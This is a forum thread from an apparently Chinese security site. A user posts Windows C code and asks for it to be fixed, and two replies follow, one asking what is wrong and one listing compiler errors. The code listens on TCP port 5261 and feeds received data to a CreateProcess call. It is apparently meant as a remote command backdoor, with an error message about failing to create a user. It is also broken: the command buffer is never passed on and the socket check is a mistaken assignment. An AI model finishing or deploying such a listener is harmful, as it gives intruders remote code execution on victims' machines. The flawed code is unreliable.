论坛: 编程破解 标题: C写的一个程序,寻求查看修改!!! 复制本贴地址    
作者: NOHACK [knohack]    论坛用户   登录
#include <stdio.h>
#include <winsock2.h>
#include <stdlib.h>
void errexit (const char *,...);
SOCKET passievesock(const char *service,const char *transport,int qlen);
int cmd(const char *ch);
#define WINEPOCH 2208988800
#define WSVERS MAKEWORD(2,0)
int main(int argc,char *argv[])
{
struct sockaddr_in fsin;
char *service="5261";
char buf[2048];
SOCKET sock,msock;
int alen;
WSADATA wsadata;
switch(argc)
{case 1:break;
case 2:service=argv[1];
break;
default:
errexit("usage:udptimed[port]\n");
}
if(WSAStartup(WSVERS,&wsadata))
errexit("WSAStartup failed\n");
msock=passievesock(service,"tcp",0);
alen=sizeof(fsin);
while(1)
{
sock=accept(msock,(struct sockaddr *)&fsin,&alen);
int cc;
cc=recv(sock,buf,sizeof(buf),0);
if(cc=SOCKET_ERROR)
errexit("recvfrom:error%d\n",GetLastError());
closesocket(sock);
buf[cc+1]='\0';
cmd(buf);
}
closesocket(msock);
return 1;
}
u_short portbase=0;
SOCKET passievesock(const char *service,const char *transport,int qlen)
{
struct servent *pse;
struct protoent *ppe;
struct sockaddr_in sin;
SOCKET s;
int type;
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=INADDR_ANY;
if(pse=getservbyname(service,transport))
sin.sin_port=htons(ntohs((u_short)pse->s_port)+portbase);
else if((sin.sin_port=htons((u_short)atoi(service)))==0)
errexit("can't get \"%s\"service entry\n",service);
if((ppe=getprotobyname(transport))==0)
errexit("can't get \"%s\"protocol entry",transport);
if(strcmp(transport,"upd")==0)
type=SOCK_DGRAM;
else
type=SOCK_STREAM;
s=socket(PF_INET,type,ppe->p_proto);
if(s==INVALID_SOCKET)
errexit("can't create socket:%d\n",GetLastError());
if(bind(s,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
errexit("can't bind to %sport:%d\n",service,GetLastError());
return s;
}
void errexit(const char *format,...)
{
va_list args;
va_start(args,format);
vfprintf(stderr,format,args);
va_end(args);
WSACleanup();
exit(1);
}
int cmd(const char *ch)
{
char *szcmd;
BOOL bsuccess;
PROCESS_INFORMATION piprocinfo;
STARTUPINFO info;
info.cb=sizeof(STARTUPINFO);
info.lpReserved=NULL;
info.lpDesktop=NULL;
info.lpTitle=NULL;
info.cbReserved2=0;
info.lpReserved2=NULL;
bsuccess=CreateProcess(NULL,szcmd,NULL,NULL,false,NULL,NULL,NULL,&info,&piprocinfo);
if(!bsuccess)
printf("创建用用户失败~!T_T");
return 1;
}


地主 发表时间: 07-09-25 08:02

回复: jhkdiy [jhkdiy]   版主   登录
你为什么不说明一下哪里遇到问题?,需要修改什么?

B1层 发表时间: 07-09-26 20:55

回复: hadtraitor [wboss]   论坛用户   登录
d:\新建 文本文档.c(31) : error C2143: syntax error : missing ';' before 'type'
d:\新建 文本文档.c(32) : error C2065: 'cc' : undeclared identifier
d:\新建 文本文档.c(91) : error C2065: 'false' : undeclared identifier
d:\新建 文本文档.c(91) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'void *'
d:\新建 文本文档.c(91) : warning C4024: 'CreateProcessA' : different types for formal and actual parameter 6
执行 cl.exe 时出错.

看不懂

B2层 发表时间: 08-01-07 14:55

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号